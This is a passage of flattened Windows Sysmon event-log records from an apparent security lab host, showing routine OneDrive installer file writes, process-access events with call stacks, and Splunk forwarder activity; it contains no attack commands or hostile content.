CorporationFileSyncConfig.exe"C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe" C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=2A333CC67C3DAAD5E4784A08CA4210C8,SHA256=5345A52E737F80DE378C2E4F61E56B9D169E01CCF4C2DBFA1099A336ED9FAFF2,IMPHASH=479A0D583C2F6822F3BBC39A672D3852{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exeC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe /silent /peruser /childprocess /enableOMCTelemetry 10341000x800000000000000044061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-65B2-613B-1300-00000000F001}926172C:\Windows\System32\svchost.exe{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+ac96|c:\windows\system32\pcasvc.dll+aaf6|c:\windows\system32\pcasvc.dll+aab8|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.712{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.692{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-3009-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.662{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveStandaloneUpdater.exeMD5=4F6374A871C1D85A31B172061C785E92,SHA256=37675A3F272700BF3BE32C5CE4AC78E3390BF9A210AC62B304F876B2A929345C,IMPHASH=DDED089A98AA2CAD28EE371811657DE9truefalse - insufficient disk space 10341000x800000000000000044057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.642{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-3009-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.642{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-3009-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000044055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:44.642{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe2021-09-10 14:44:44.642 23542300x800000000000000044054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.642{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDrive.VisualElementsManifest.xmlMD5=DDCBC6AB58FF4F81ACE430E932179977,SHA256=2647BC7D5D80E3A1323793D3125CC845CE067A7BEF4521CF8DBE8955F9587135,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.642{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Resources.priMD5=7473BE9C7899F2A2DA99D09C596B2D6D,SHA256=E1252527BC066DA6838344D49660E4C6FF2D1DDFDA036C5EC19B07FDFB90C8C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.642{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.scale-400.pngMD5=80272785B68CEE17562300786F0FA59B,SHA256=BB89239434644337760C382DB336F80E16494D12D3E9258985DA74B734F423A8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.632{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.scale-200.pngMD5=5BE57D0496257EC3B690A85C7AFEEA95,SHA256=3EC8CF118D4EEF4C6AF68CB5C679B71991C37E5A0F72AD9C3BF4027AFB4180FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.632{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.scale-150.pngMD5=8A85AA646709AE9D2681F83ED85D14F2,SHA256=35FCC1231BDD1BF82FEB86777EC5EC982515B188CB9C52DDAB9FF43D9FAB0366,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.632{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.scale-125.pngMD5=BDA3BAF91F230BF2B10E2E019ABC3EFF,SHA256=D2D097D39687AC886D8836A553F8D1B581723094AE5539A259C0259585D99475,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.632{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.scale-100.pngMD5=52F5BE0F8D3C5150B591A4656A50D6B0,SHA256=B00B6A09F4AA9DFFF7026FF9C2EA5EC0236B05AE8B99D0CDB35C3A1EA78A5D2D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.632{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-white_scale-400.pngMD5=A85ADDC7DF73937053D80FDFAAFDB76A,SHA256=A1A9AEF9837E8A555AE95338FC358FCF24A8ACCC2AAF6E49B8FEC60818A7216E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.622{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-white_scale-200.pngMD5=40FEB212FAF4DCF564629E23A310FFA4,SHA256=FB0DACBD8567FBB468A506AB8B33AFA95D555DA74AEF8EB1ECCBF928216E8C26,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.622{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-white_scale-150.pngMD5=0E3D8F803AD480D38DA0A3B925C02106,SHA256=225D709C0E85F6E37C9F2625DE07C4572A945F165D80E14A50906927821064B1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.622{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-white_scale-125.pngMD5=B7D80EEA5EC49B3620D1E15D81912EE4,SHA256=3A50DA1C6A1BFE9F6ACC0594B740F5544C6304C1AABBDF4D04CEE367FB811150,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.622{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-white_scale-100.pngMD5=1AF06C14BAF9292118292D2E86E10F4B,SHA256=CA3F45E98FCD7A144623B75B6C8ED907C00E3D410627EB0091F01423DBAC8DC9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.622{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-black_scale-400.pngMD5=80272785B68CEE17562300786F0FA59B,SHA256=BB89239434644337760C382DB336F80E16494D12D3E9258985DA74B734F423A8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.622{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-black_scale-200.pngMD5=5BE57D0496257EC3B690A85C7AFEEA95,SHA256=3EC8CF118D4EEF4C6AF68CB5C679B71991C37E5A0F72AD9C3BF4027AFB4180FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.612{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-black_scale-150.pngMD5=8A85AA646709AE9D2681F83ED85D14F2,SHA256=35FCC1231BDD1BF82FEB86777EC5EC982515B188CB9C52DDAB9FF43D9FAB0366,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.612{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-black_scale-125.pngMD5=BDA3BAF91F230BF2B10E2E019ABC3EFF,SHA256=D2D097D39687AC886D8836A553F8D1B581723094AE5539A259C0259585D99475,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.612{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveSmallTile.contrast-black_scale-100.pngMD5=52F5BE0F8D3C5150B591A4656A50D6B0,SHA256=B00B6A09F4AA9DFFF7026FF9C2EA5EC0236B05AE8B99D0CDB35C3A1EA78A5D2D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.612{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.scale-400.pngMD5=1554DD2698B5F2D81445704D4F4C58BA,SHA256=F31EB37B641E0AB8782EF294ADB57D31135E5AAD8838C06F8FDB0A86929E39C4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.612{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=57E69A1D5537436AE5C900EDC80D3A67,SHA256=B87269B81D688EA1773066C983C57FC8FE59E98F1278393DDDCE5B6BBEEB5300,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.612{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.scale-200.pngMD5=A2184C1047A0C1FAB0F465F2355CCF92,SHA256=EB846E01333B2DD4CE1C2AECCBD6D90874F976948B881AA362E13593A254AD70,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.602{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.scale-150.pngMD5=262B8476753F83B4ABD01017DCDB061F,SHA256=EF6AC1CAA0AEBE3D94BA86856FD69D68F370588A678B1B6F9F90C83B161D87AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.602{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-2F09-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.602{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.scale-125.pngMD5=F837C5AA1F38D8241B28B92D15EEBE75,SHA256=CC134DAAA737E48E0F37FF5BECE33E23484C47B55CB6571F3283E73E14F54334,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.602{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.scale-100.pngMD5=433D5C9BFE71C70E6BF1F18B7DA188F4,SHA256=3BA55B200B58756480679CF8B6B98D7B3570F8DFCDB39186F721357DA8D8172C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.602{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-white_scale-400.pngMD5=28005183D565FD56057FF53C2271C256,SHA256=ECF4E09027031C0DC5F66CBEEF68A96D59947C6EFF969FEF9908DDBBF9CDD3E1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.602{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-white_scale-200.pngMD5=D69B68D21ED0C659704BCA13218267C0,SHA256=78AEA1A92CF325B6F2B1C8D2438122A3A38396EF28CCF4E6A77896BD1D04A31F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.592{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-white_scale-150.pngMD5=748E43B4DA7F7FC91A98534F1C90C32F,SHA256=4EABC71F16AFAAFF190302A2656FC9FAF542632B75F8294C721D008B9A51B46A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.592{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-white_scale-125.pngMD5=5588D3464D135BDA19ECB5F6284F1AA5,SHA256=2AA13D9AB91C6E04292A1D4E635FDD337088CCD8CEBECE9880C5FC67CED53FAA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.592{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-white_scale-100.pngMD5=F0FD948F7E9D30F657C55490C70EE327,SHA256=24685CA3546F1F95F9E9BECA29534E134E69B031923E45723558201762BBA147,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.592{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-black_scale-400.pngMD5=1554DD2698B5F2D81445704D4F4C58BA,SHA256=F31EB37B641E0AB8782EF294ADB57D31135E5AAD8838C06F8FDB0A86929E39C4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.592{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=20D12237539A7D6287F817E0448E0C14,SHA256=AB9C21C6F33C22500039F29EC0452A55B0636FED82DCE8A19D59D1E0C5C6DC9E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.581{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-black_scale-200.pngMD5=A2184C1047A0C1FAB0F465F2355CCF92,SHA256=EB846E01333B2DD4CE1C2AECCBD6D90874F976948B881AA362E13593A254AD70,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.581{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-black_scale-150.pngMD5=262B8476753F83B4ABD01017DCDB061F,SHA256=EF6AC1CAA0AEBE3D94BA86856FD69D68F370588A678B1B6F9F90C83B161D87AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.581{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-black_scale-125.pngMD5=F837C5AA1F38D8241B28B92D15EEBE75,SHA256=CC134DAAA737E48E0F37FF5BECE33E23484C47B55CB6571F3283E73E14F54334,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.581{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogoImages\OneDriveMedTile.contrast-black_scale-100.pngMD5=433D5C9BFE71C70E6BF1F18B7DA188F4,SHA256=3BA55B200B58756480679CF8B6B98D7B3570F8DFCDB39186F721357DA8D8172C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 